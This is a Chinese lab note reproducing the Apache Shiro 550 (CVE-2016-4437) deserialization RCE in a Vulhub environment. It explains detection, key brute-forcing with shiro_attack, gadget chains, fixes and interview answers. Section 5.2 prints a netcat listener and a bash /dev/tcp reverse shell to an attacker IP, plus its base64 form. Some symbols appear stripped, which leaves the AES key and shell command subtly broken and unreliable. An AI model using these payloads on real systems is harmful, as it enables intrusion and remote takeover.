Shiro 550 反序列化漏洞复现笔记

📅 2026/7/4 3:59:01
Shiro 550 反序列化漏洞复现笔记
一、漏洞概述1.1 什么是 Apache ShiroApache Shiro 是一个强大且易用的 Java 安全框架提供身份验证、授权、加密和会话管理等功能。功能说明身份验证Authentication验证用户身份授权Authorization控制用户访问权限会话管理Session Management管理用户会话加密Cryptography数据加解密1.2 漏洞核心Shiro 提供了RememberMe记住密码功能用户登录成功后生成经过加密并编码的 Cookie。服务端处理流程Cookie → Base64解码 → AES解密 → 反序列化攻击者只要找到 AES 加密的密钥就可以构造恶意对象进行序列化 → AES加密 → Base64编码然后作为 Cookie 的rememberMe字段发送。服务端解密并反序列化时触发 RCE。影响版本Apache Shiro≤ 1.2.4二、漏洞原理详解2.1 RememberMe 机制用户登录时勾选“Remember Me”服务端将用户信息序列化后加密存入 Cookie步骤操作说明①序列化用户信息 → 字节流②AES加密使用固定密钥加密字节流③Base64编码加密后字节流 → 可传输字符串④存储 CookierememberMe加密密文服务端接收请求时逆向操作Base64解码 → AES解密 → 反序列化。2.2 漏洞根因AES 密钥被硬编码在 Shiro 源码中。问题说明固定密钥Shiro 1.2.4 及之前版本使用硬编码密钥默认密钥kPHbIxk5D2deZiIxcaaaA攻击方式攻击者可用相同密钥伪造恶意 Cookie触发方式服务端反序列化恶意对象 → RCE尽管后续版本去掉了硬编码密钥但许多开源系统、教程范例仍使用固定密钥可通过搜索引擎、GitHub 等收集密钥提高利用成功率。三、环境搭建基于 Vulhub3.1 环境信息角色说明攻击机Kali运行利用工具、接收反弹 Shell靶机Vulhub Shiro 1.2.43.2 启动靶场# 克隆 Vulhub如已有则跳过 git clone https://github.com/vulhub/vulhub.git # 进入 Shiro 550 漏洞目录 cd vulhub/shiro/CVE-2016-4437 # 启动靶场 docker-compose up -d3.3 验证靶场docker ps浏览器访问http://靶机IP:8088看到 Shiro 示例登录页面即成功我这里把8080改成了8088端口。四、漏洞检测4.1 特征判断方法一观察 Cookie使用 Burp Suite 抓包在请求包 Cookie 中添加rememberMe123观察响应头是否返回rememberMedeleteMe。特征说明Set-Cookie: rememberMedeleteMe表明系统使用了 Shiro 框架URL 包含shiro字样辅助判断方法二使用检测工具使用shiro_attack工具一键检测4.2 常见检测工具工具说明链接shiro_attackGUI 工具支持密钥爆破 命令执行 内存马注入GitHubShiroExploit飞鸿出品支持漏洞检测和反弹 ShellShiro_exploitPython 脚本爆破密钥五、漏洞利用5.1 使用 shiro_attack 工具推荐第一步启动工具java -jar shiro_attack-{version}-SNAPSHOT-all.jar第二步检测目标填写目标 URL如http://靶机IP:8080点击「检测是否为 Shiro」→ 确认目标存在 Shiro rememberMe点击「爆破密钥」→ 使用内置字典爆破 AES 密钥第三步命令执行爆破出密钥后选择利用链如 CommonsBeanutils1执行任意命令5.2 反弹 Shell第一步开启 NC 监听Kalinc -lvvp 5555第二步生成反弹 Shell 命令原始命令bash -i /dev/tcp/攻击机IP/5555 01Base64 编码后bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}第三步在工具中执行将编码后的命令填入 shiro_attack 的命令执行框点击执行。第四步获取 ShellNC 监听终端收到反弹 Shellrootbdd8b135516e:/#5.3 手动利用Python 脚本如果不想用 GUI 工具也可以用 Python 脚本生成恶意 Cookieimport uuid import base64 from Crypto.Cipher import AES key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) iv uuid.uuid4().bytes # 使用 ysoserial 生成 payload然后 AES 加密 # ...六、利用链说明利用链依赖说明CommonsBeanutils1commons-beanutils最常用兼容性好CommonsCollections1-7commons-collections经典反序列化链CommonsBeanutils1_183commons-beanutils 1.8.3特定版本七、修复方案修复措施说明优先级升级 Shiro升级到 1.2.4 以上版本推荐最新 高更换 AES 密钥不使用默认密钥随机生成 高禁用 RememberMe如非必要关闭 RememberMe 功能 中WAF 规则拦截包含异常rememberMe的请求 低八、面试话术Q你了解 Shiro 550 漏洞吗“Shiro 550CVE-2016-4437是 Apache Shiro ≤ 1.2.4 版本的反序列化漏洞。Shiro 的 RememberMe 功能会把用户信息序列化后用 AES 加密存入 Cookie。问题在于 AES 密钥是硬编码的默认kPHbIxk5D2deZiIxcaaaA攻击者可以用这个密钥伪造恶意 Cookie。服务端收到 Cookie 后会先 Base64 解码、AES 解密然后反序列化如果 Cookie 里是恶意对象就会触发 RCE。检测时看 Cookie 里有没有rememberMedeleteMe特征利用的话用shiro_attack这类工具爆破密钥然后执行命令或反弹 Shell。修复就是升级版本 换密钥。”QShiro 550 和 721 有什么区别“Shiro 550 是因为密钥硬编码攻击者直接用默认密钥伪造 Cookie。Shiro 721 的密钥是随机生成的但存在 Padding Oracle 漏洞需要先有一个合法的 RememberMe Cookie 作为前缀去爆破密钥。721 利用条件更苛刻550 更常见。”九、总结速查表项目说明漏洞名称Shiro 550 反序列化漏洞CVE 编号CVE-2016-4437影响版本Apache Shiro ≤ 1.2.4漏洞类型反序列化远程代码执行RCE根本原因AES 密钥硬编码默认密钥kPHbIxk5D2deZiIxcaaaA检测特征rememberMedeleteMe利用工具shiro_attack / ShiroExploit利用链CommonsBeanutils1 / CommonsCollections最终效果任意命令执行 / 反弹 Shell核心 Payload 构造流程恶意对象 → 序列化 → AES加密默认密钥→ Base64编码 → 放入 rememberMe Cookie → 发送请求 → 服务端反序列化 → RCE